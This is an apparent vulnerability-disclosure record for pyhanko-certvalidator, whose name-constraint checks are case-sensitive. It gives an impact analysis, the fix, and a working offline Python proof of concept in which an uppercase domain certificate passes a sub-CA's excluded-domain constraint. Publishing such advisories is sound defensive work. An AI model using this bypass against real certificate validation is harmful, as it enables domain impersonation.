{
  "slug": "pyhanko-name-constraints-case-bypass",
  "url": "https://security.peng.ly/reports/pyhanko-name-constraints-case-bypass",
  "title": "Name-constraint host matching is case-sensitive, bypassing excluded DNS and email subtrees",
  "summary": "Writing a banned domain in capitals, like WWW.EXAMPLE.COM, gets a certificate past its CA's name constraints, so whoever holds it can impersonate that domain.",
  "ghsa": "GHSA-97fq-v55v-9vg9",
  "cve": null,
  "advisory": "https://github.com/MatthiasValvekens/pyHanko/security/advisories/GHSA-97fq-v55v-9vg9",
  "repo": "MatthiasValvekens/pyHanko",
  "avatar": "https://security.peng.ly/avatars/matthiasvalvekens.webp",
  "ecosystem": {
    "key": "pypi",
    "name": "PyPI"
  },
  "packages": [
    {
      "name": "pyhanko-certvalidator",
      "affected": "<= 0.32.0",
      "patched": "0.32.1"
    }
  ],
  "severity": "medium",
  "cvss": null,
  "kind": {
    "key": "tls",
    "name": "Certificate validation"
  },
  "cwes": [
    {
      "id": "CWE-295",
      "name": "Improper Certificate Validation"
    }
  ],
  "reported": "2026-09-08",
  "published": "2026-09-10",
  "image": "https://security.peng.ly/og/pyhanko-name-constraints-case-bypass.png",
  "fixes": [
    "https://github.com/MatthiasValvekens/pyHanko/commit/aec2f674b57811409071608a0c1d23875a1cb22d"
  ],
  "credits": [
    {
      "login": "NotAFlightRisk",
      "role": "reporter"
    }
  ],
  "timeline": [
    {
      "date": "2026-09-08",
      "event": "reported"
    },
    {
      "date": "2026-09-09",
      "event": "accepted"
    },
    {
      "date": "2026-09-10",
      "event": "patched"
    },
    {
      "date": "2026-09-10",
      "event": "released",
      "note": "0.32.1"
    },
    {
      "date": "2026-09-10",
      "event": "published"
    }
  ],
  "links": [
    {
      "label": "0.32.1 release notes",
      "url": "https://github.com/MatthiasValvekens/pyHanko/releases/tag/pyhanko-certvalidator/v0.32.1"
    }
  ],
  "body": {
    "markdown": "## Summary\n\n`pyhanko-certvalidator` compares host names in X.509 name constraints case-sensitively. RFC 5280 §7.2 (dNSName) and §7.5 (the host part of rfc822Name), together with RFC 4343, require that comparison to fold ASCII case. The mismatch is fail-open in the excluded-subtrees direction: a certificate whose name sits inside an excluded subtree slips past the constraint when its letters are cased differently. A TLS client matches host names case-insensitively, so it will still honour the certificate the constraint was meant to keep out.\n\nThe matching lives in `name_trees.py`: `dns_tree_contains`, `host_tree_contains` and `email_tree_contains` compare labels with `==` and never normalise. `uri_tree_contains` inherits it through `host_tree_contains`. The same functions also miss the trailing-dot form (`example.com` vs `example.com.`), a second way to land inside an excluded subtree unnoticed.\n\n## Proof of concept\n\nClean `pip install pyhanko-certvalidator==0.32.0 cryptography`, then run:\n\n```python\nimport asyncio, datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom asn1crypto import x509 as ax\nfrom pyhanko_certvalidator import CertificateValidator, ValidationContext\n\nnb, na = (datetime.datetime(2023,1,1,tzinfo=datetime.timezone.utc),\n          datetime.datetime(2030,1,1,tzinfo=datetime.timezone.utc))\nname = lambda cn: x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n\ndef issue(subj, iss, sk, ik, ca, exts=()):\n    b = (x509.CertificateBuilder().subject_name(name(subj)).issuer_name(name(iss))\n         .public_key(sk.public_key()).serial_number(x509.random_serial_number())\n         .not_valid_before(nb).not_valid_after(na)\n         .add_extension(x509.BasicConstraints(ca, None), True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    der = b.sign(ik, hashes.SHA256()).public_bytes(serialization.Encoding.DER)\n    return ax.Certificate.load(der)\n\nrk, ck, lk = (ec.generate_private_key(ec.SECP256R1()) for _ in range(3))\nroot = issue(\"Root\", \"Root\", rk, rk, True)\n# Sub CA is forbidden from issuing under example.com.\nexcluded = x509.NameConstraints(None, [x509.DNSName(\"example.com\")])\nsub = issue(\"Sub CA\", \"Root\", ck, rk, True, [(excluded, True)])\n# Leaf presents the excluded name in upper case.\nleaf = issue(\"Leaf\", \"Sub CA\", lk, ck, False, [\n    (x509.SubjectAlternativeName([x509.DNSName(\"WWW.EXAMPLE.COM\")]), False),\n    (x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)])\n\nctx = ValidationContext(trust_roots=[root], revocation_mode=\"soft-fail\",\n                        moment=datetime.datetime(2024,1,1,tzinfo=datetime.timezone.utc),\n                        allow_fetching=False)\nv = CertificateValidator(leaf, intermediate_certs=[sub], validation_context=ctx)\nasyncio.run(v.async_validate_path())\nprint(\"accepted:\", \"WWW.EXAMPLE.COM validated under a CA that excludes example.com\")\n```\n\nThe lower-case `www.example.com` is correctly rejected; only the cased form gets through. `user@EXAMPLE.COM` past an excluded rfc822 `example.com` behaves the same way.\n\n## Impact\n\nWhere a relying party uses excluded name constraints as a trust boundary (for example, a cross-signed or externally run sub-CA that must not issue for certain domains), the holder of a certificate under that CA can defeat the exclusion by changing the case of the name. The certificate is then accepted for a name the constraint was meant to deny, which enables impersonation of that name against anyone validating through this library.\n\n## Caveat\n\nThis is the excluded-subtrees direction only. In the permitted direction the same case-sensitivity fails closed: it over-rejects a legitimately cased name rather than admitting an out-of-namespace one, so it is not exploitable there. The finding needs a chain that actually carries excluded name constraints and an attacker able to obtain a certificate under the constrained CA; it is not a flaw reachable on an arbitrary chain. Fix is to fold ASCII case (and strip a trailing root label) on both sides before comparing, per RFC 5280 §7.",
    "html": "<h2 id=\"summary\"><a href=\"#summary\">Summary</a></h2>\n<p><code>pyhanko-certvalidator</code> compares host names in X.509 name constraints case-sensitively. RFC 5280 §7.2 (dNSName) and §7.5 (the host part of rfc822Name), together with RFC 4343, require that comparison to fold ASCII case. The mismatch is fail-open in the excluded-subtrees direction: a certificate whose name sits inside an excluded subtree slips past the constraint when its letters are cased differently. A TLS client matches host names case-insensitively, so it will still honour the certificate the constraint was meant to keep out.</p>\n<p>The matching lives in <code>name_trees.py</code>: <code>dns_tree_contains</code>, <code>host_tree_contains</code> and <code>email_tree_contains</code> compare labels with <code>==</code> and never normalise. <code>uri_tree_contains</code> inherits it through <code>host_tree_contains</code>. The same functions also miss the trailing-dot form (<code>example.com</code> vs <code>example.com.</code>), a second way to land inside an excluded subtree unnoticed.</p>\n<h2 id=\"proof-of-concept\"><a href=\"#proof-of-concept\">Proof of concept</a></h2>\n<p>Clean <code>pip install pyhanko-certvalidator==0.32.0 cryptography</code>, then run:</p>\n<pre class=\"shiki tokens\" style=\"background-color:var(--code-background);color:var(--code-foreground)\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> asyncio</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> datetime</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> cryptography </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> x509</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> cryptography</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">x509</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">oid </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> NameOID</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> ExtendedKeyUsageOID</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> cryptography</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">hazmat</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">primitives </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> hashes</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> serialization</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> cryptography</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">hazmat</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">primitives</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">asymmetric </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> ec</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> asn1crypto </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> x509 </span><span style=\"color:var(--code-token-keyword)\">as</span><span style=\"color:var(--code-foreground)\"> ax</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">from</span><span style=\"color:var(--code-foreground)\"> pyhanko_certvalidator </span><span style=\"color:var(--code-token-keyword)\">import</span><span style=\"color:var(--code-foreground)\"> CertificateValidator</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> ValidationContext</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">nb</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> na </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> (datetime</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">datetime</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-constant)\">2023</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,tzinfo</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">datetime.timezone.utc),</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">          datetime</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">datetime</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-constant)\">2030</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,tzinfo</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">datetime.timezone.utc)</span><span style=\"color:var(--code-foreground)\">)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">name </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-keyword)\"> lambda</span><span style=\"color:var(--code-token-parameter)\"> cn</span><span style=\"color:var(--code-foreground)\">: x509</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">Name</span><span style=\"color:var(--code-token-punctuation)\">([x509.</span><span style=\"color:var(--code-token-function)\">NameAttribute</span><span style=\"color:var(--code-token-punctuation)\">(NameOID.COMMON_NAME, cn)])</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">def</span><span style=\"color:var(--code-token-function)\"> issue</span><span style=\"color:var(--code-foreground)\">(</span><span style=\"color:var(--code-token-parameter)\">subj</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-parameter)\"> iss</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-parameter)\"> sk</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-parameter)\"> ik</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-parameter)\"> ca</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-parameter)\"> exts</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\">()):</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">    b </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> (x509</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">CertificateBuilder</span><span style=\"color:var(--code-token-punctuation)\">().</span><span style=\"color:var(--code-token-function)\">subject_name</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-function)\">name</span><span style=\"color:var(--code-token-punctuation)\">(subj)).</span><span style=\"color:var(--code-token-function)\">issuer_name</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-function)\">name</span><span style=\"color:var(--code-token-punctuation)\">(iss))</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">         .</span><span style=\"color:var(--code-token-function)\">public_key</span><span style=\"color:var(--code-token-punctuation)\">(sk.</span><span style=\"color:var(--code-token-function)\">public_key</span><span style=\"color:var(--code-token-punctuation)\">()).</span><span style=\"color:var(--code-token-function)\">serial_number</span><span style=\"color:var(--code-token-punctuation)\">(x509.</span><span style=\"color:var(--code-token-function)\">random_serial_number</span><span style=\"color:var(--code-token-punctuation)\">())</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">         .</span><span style=\"color:var(--code-token-function)\">not_valid_before</span><span style=\"color:var(--code-token-punctuation)\">(nb).</span><span style=\"color:var(--code-token-function)\">not_valid_after</span><span style=\"color:var(--code-token-punctuation)\">(na)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">         .</span><span style=\"color:var(--code-token-function)\">add_extension</span><span style=\"color:var(--code-token-punctuation)\">(x509.</span><span style=\"color:var(--code-token-function)\">BasicConstraints</span><span style=\"color:var(--code-token-punctuation)\">(ca, </span><span style=\"color:var(--code-token-constant)\">None</span><span style=\"color:var(--code-token-punctuation)\">), </span><span style=\"color:var(--code-token-constant)\">True</span><span style=\"color:var(--code-token-punctuation)\">)</span><span style=\"color:var(--code-foreground)\">)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">    for</span><span style=\"color:var(--code-foreground)\"> e</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> c </span><span style=\"color:var(--code-token-keyword)\">in</span><span style=\"color:var(--code-foreground)\"> exts</span><span style=\"color:var(--code-token-punctuation)\">:</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">        b </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> b</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">add_extension</span><span style=\"color:var(--code-token-punctuation)\">(e, c)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">    der </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> b</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">sign</span><span style=\"color:var(--code-token-punctuation)\">(ik, hashes.</span><span style=\"color:var(--code-token-function)\">SHA256</span><span style=\"color:var(--code-token-punctuation)\">()).</span><span style=\"color:var(--code-token-function)\">public_bytes</span><span style=\"color:var(--code-token-punctuation)\">(serialization.Encoding.DER)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-keyword)\">    return</span><span style=\"color:var(--code-foreground)\"> ax</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-foreground)\">Certificate</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">load</span><span style=\"color:var(--code-token-punctuation)\">(der)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">rk</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> ck</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-foreground)\"> lk </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> (ec</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">generate_private_key</span><span style=\"color:var(--code-token-punctuation)\">(ec.</span><span style=\"color:var(--code-token-function)\">SECP256R1</span><span style=\"color:var(--code-token-punctuation)\">())</span><span style=\"color:var(--code-token-keyword)\"> for</span><span style=\"color:var(--code-foreground)\"> _ </span><span style=\"color:var(--code-token-keyword)\">in</span><span style=\"color:var(--code-token-function)\"> range</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-constant)\">3</span><span style=\"color:var(--code-token-punctuation)\">)</span><span style=\"color:var(--code-foreground)\">)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">root </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-function)\"> issue</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"Root\"</span><span style=\"color:var(--code-token-punctuation)\">, </span><span style=\"color:var(--code-token-string-expression)\">\"Root\"</span><span style=\"color:var(--code-token-punctuation)\">, rk, rk, </span><span style=\"color:var(--code-token-constant)\">True</span><span style=\"color:var(--code-token-punctuation)\">)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-comment)\"># Sub CA is forbidden from issuing under example.com.</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">excluded </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-foreground)\"> x509</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">NameConstraints</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-constant)\">None</span><span style=\"color:var(--code-token-punctuation)\">, [x509.</span><span style=\"color:var(--code-token-function)\">DNSName</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"example.com\"</span><span style=\"color:var(--code-token-punctuation)\">)])</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">sub </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-function)\"> issue</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"Sub CA\"</span><span style=\"color:var(--code-token-punctuation)\">, </span><span style=\"color:var(--code-token-string-expression)\">\"Root\"</span><span style=\"color:var(--code-token-punctuation)\">, ck, rk, </span><span style=\"color:var(--code-token-constant)\">True</span><span style=\"color:var(--code-token-punctuation)\">, [(excluded, </span><span style=\"color:var(--code-token-constant)\">True</span><span style=\"color:var(--code-token-punctuation)\">)])</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-comment)\"># Leaf presents the excluded name in upper case.</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">leaf </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-function)\"> issue</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"Leaf\"</span><span style=\"color:var(--code-token-punctuation)\">, </span><span style=\"color:var(--code-token-string-expression)\">\"Sub CA\"</span><span style=\"color:var(--code-token-punctuation)\">, lk, ck, </span><span style=\"color:var(--code-token-constant)\">False</span><span style=\"color:var(--code-token-punctuation)\">, [</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">    (x509.</span><span style=\"color:var(--code-token-function)\">SubjectAlternativeName</span><span style=\"color:var(--code-token-punctuation)\">([x509.</span><span style=\"color:var(--code-token-function)\">DNSName</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"WWW.EXAMPLE.COM\"</span><span style=\"color:var(--code-token-punctuation)\">)]), </span><span style=\"color:var(--code-token-constant)\">False</span><span style=\"color:var(--code-token-punctuation)\">),</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">    (x509.</span><span style=\"color:var(--code-token-function)\">ExtendedKeyUsage</span><span style=\"color:var(--code-token-punctuation)\">([ExtendedKeyUsageOID.SERVER_AUTH]), </span><span style=\"color:var(--code-token-constant)\">False</span><span style=\"color:var(--code-token-punctuation)\">)])</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">ctx </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-function)\"> ValidationContext</span><span style=\"color:var(--code-token-punctuation)\">(trust_roots</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">[root], revocation_mode</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-string-expression)\">\"soft-fail\"</span><span style=\"color:var(--code-token-punctuation)\">,</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">                        moment</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">datetime.</span><span style=\"color:var(--code-token-function)\">datetime</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-constant)\">2024</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,</span><span style=\"color:var(--code-token-constant)\">1</span><span style=\"color:var(--code-token-punctuation)\">,tzinfo</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">datetime.timezone.utc),</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-punctuation)\">                        allow_fetching</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-constant)\">False</span><span style=\"color:var(--code-token-punctuation)\">)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">v </span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-function)\"> CertificateValidator</span><span style=\"color:var(--code-token-punctuation)\">(leaf, intermediate_certs</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">[sub], validation_context</span><span style=\"color:var(--code-token-keyword)\">=</span><span style=\"color:var(--code-token-punctuation)\">ctx)</span></span>\n<span class=\"line\"><span style=\"color:var(--code-foreground)\">asyncio</span><span style=\"color:var(--code-token-punctuation)\">.</span><span style=\"color:var(--code-token-function)\">run</span><span style=\"color:var(--code-token-punctuation)\">(v.</span><span style=\"color:var(--code-token-function)\">async_validate_path</span><span style=\"color:var(--code-token-punctuation)\">())</span></span>\n<span class=\"line\"><span style=\"color:var(--code-token-function)\">print</span><span style=\"color:var(--code-token-punctuation)\">(</span><span style=\"color:var(--code-token-string-expression)\">\"accepted:\"</span><span style=\"color:var(--code-token-punctuation)\">, </span><span style=\"color:var(--code-token-string-expression)\">\"WWW.EXAMPLE.COM validated under a CA that excludes example.com\"</span><span style=\"color:var(--code-token-punctuation)\">)</span></span></code></pre>\n<p>The lower-case <code>www.example.com</code> is correctly rejected; only the cased form gets through. <code>user@EXAMPLE.COM</code> past an excluded rfc822 <code>example.com</code> behaves the same way.</p>\n<h2 id=\"impact\"><a href=\"#impact\">Impact</a></h2>\n<p>Where a relying party uses excluded name constraints as a trust boundary (for example, a cross-signed or externally run sub-CA that must not issue for certain domains), the holder of a certificate under that CA can defeat the exclusion by changing the case of the name. The certificate is then accepted for a name the constraint was meant to deny, which enables impersonation of that name against anyone validating through this library.</p>\n<h2 id=\"caveat\"><a href=\"#caveat\">Caveat</a></h2>\n<p>This is the excluded-subtrees direction only. In the permitted direction the same case-sensitivity fails closed: it over-rejects a legitimately cased name rather than admitting an out-of-namespace one, so it is not exploitable there. The finding needs a chain that actually carries excluded name constraints and an attacker able to obtain a certificate under the constrained CA; it is not a flaw reachable on an arbitrary chain. Fix is to fold ASCII case (and strip a trailing root label) on both sides before comparing, per RFC 5280 §7.</p>"
  }
}